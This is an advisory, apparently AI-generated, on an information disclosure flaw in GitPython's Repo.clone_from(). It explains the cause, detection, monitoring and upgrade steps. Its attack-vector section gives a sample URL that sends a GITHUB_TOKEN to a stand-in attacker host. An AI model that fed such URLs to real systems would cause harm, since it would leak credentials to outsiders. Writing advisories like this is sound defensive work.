CVE-2026-67322 Overview
CVE-2026-67322 is an information disclosure vulnerability in GitPython versions before 3.1.52. The flaw resides in Repo.clone_from(), which passes caller-supplied remote URLs through Git.polish_url(). On non-Cygwin platforms, polish_url() invokes os.path.expandvars() on the URL prior to executing git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that expand to values from the hosting process's environment. Secrets such as AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN are then transmitted in the URL to an attacker-controlled host during the clone attempt [CWE-200].
Critical Impact
Attackers who influence a clone URL can exfiltrate process environment variables containing cloud credentials, API tokens, and other secrets over the network.
Affected Products
- GitPython versions prior to 3.1.52
- Applications embedding GitPython that accept user-influenced clone URLs
- Automation and CI/CD pipelines invoking Repo.clone_from() on non-Cygwin platforms
Discovery Timeline
- 2026-08-01 - CVE-2026-67322 published to the National Vulnerability Database (NVD)
- 2026-08-03 - Last updated in NVD database
Technical Details for CVE-2026-67322
Vulnerability Analysis
GitPython is a widely deployed Python library that wraps the git command-line client. The vulnerability affects the URL handling path used before any subprocess invocation of git clone. When callers pass a remote URL into Repo.clone_from(), the library normalizes the string through Git.polish_url(). That helper performs environment-variable expansion on the URL contents before Git ever sees it. Any $VAR or ${VAR} sequence inside the URL is substituted with the current process's environment value.
Because the substitution happens on attacker-controlled input, secrets living in the process environment can be embedded into the outbound network request. The resulting URL, with the secret inlined, is passed to git clone, which then contacts the specified host. Observers of the DNS query, TLS Server Name Indication (SNI), or HTTP request path receive the expanded value.
Root Cause
The root cause is the unconditional call to os.path.expandvars() inside Git.polish_url() on non-Cygwin platforms. expandvars() was intended to resolve local filesystem-style paths but was applied to arbitrary URL input without an allowlist or sanitization step. Untrusted input is treated as a trusted template.
Attack Vector
Exploitation requires an attacker to control or influence the URL argument passed to Repo.clone_from(). Common scenarios include web applications that accept a Git URL from a user, CI/CD systems that clone from a configuration file, or plugin systems that fetch dependencies. The attacker registers a domain such as attacker.example, and supplies a URL of the form https://attacker.example/${GITHUB_TOKEN}.git. GitPython expands ${GITHUB_TOKEN} before invoking git, and the token is transmitted in the request path or subdomain to the attacker's server.
No authentication, user interaction, or elevated privilege on the target host is required beyond the ability to submit the crafted URL. See the GitHub Security Advisory and the VulnCheck Advisory for additional detail.
Detection Methods for CVE-2026-67322
Indicators of Compromise
- Outbound git clone connections to previously unseen domains where the URL path or subdomain contains long alphanumeric tokens resembling API keys or access tokens.
- Process telemetry showing Python processes spawning git clone with URLs that originally contained $ or ${ sequences at the application layer.
- DNS queries containing hostnames that appear to include leaked secrets or unusually structured subdomain components.
Detection Strategies
- Inspect application logs and Git command history for clone URLs containing $ characters or ${...} expansion tokens sourced from untrusted input.
- Correlate GitPython usage with outbound network flows to domains that are not on an approved source-control allowlist.
- Scan Python dependency manifests for GitPython versions below 3.1.52 across development, build, and production environments.
Monitoring Recommendations
- Alert on any process invocation of git clone where the URL parameter contains $ prior to shell expansion, indicating unsanitized template input reached the library.
- Monitor CI/CD runners for egress to non-corporate Git hosts, particularly runners with cloud credentials in their environment.
- Track version drift of the gitpython package across repositories using software composition analysis.
How to Mitigate CVE-2026-67322
Immediate Actions Required
- Upgrade GitPython to version 3.1.52 or later across all application, build, and CI/CD environments.
- Rotate any secrets that may have been present in the environment of a process that cloned attacker-influenced URLs, including cloud provider keys and source-control tokens.
- Audit application code paths that pass user-supplied strings into Repo.clone_from() and add server-side validation.
Patch Information
The issue is fixed in GitPython 3.1.52. Refer to the GitHub Security Advisory GHSA-rwj8-pgh3-r573 for the maintainer's guidance and the patched release notes.
Workarounds
- Reject any clone URL containing $ or ${ characters before passing it to GitPython.
- Run GitPython in a subprocess with a minimized environment that excludes secrets, using an explicit env= dictionary containing only required variables.
- Restrict clone destinations with an allowlist of trusted Git hosts enforced at the network egress layer.
# Configuration example: upgrade and pin GitPython
pip install --upgrade 'GitPython>=3.1.52'
pip freeze | grep -i gitpython
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
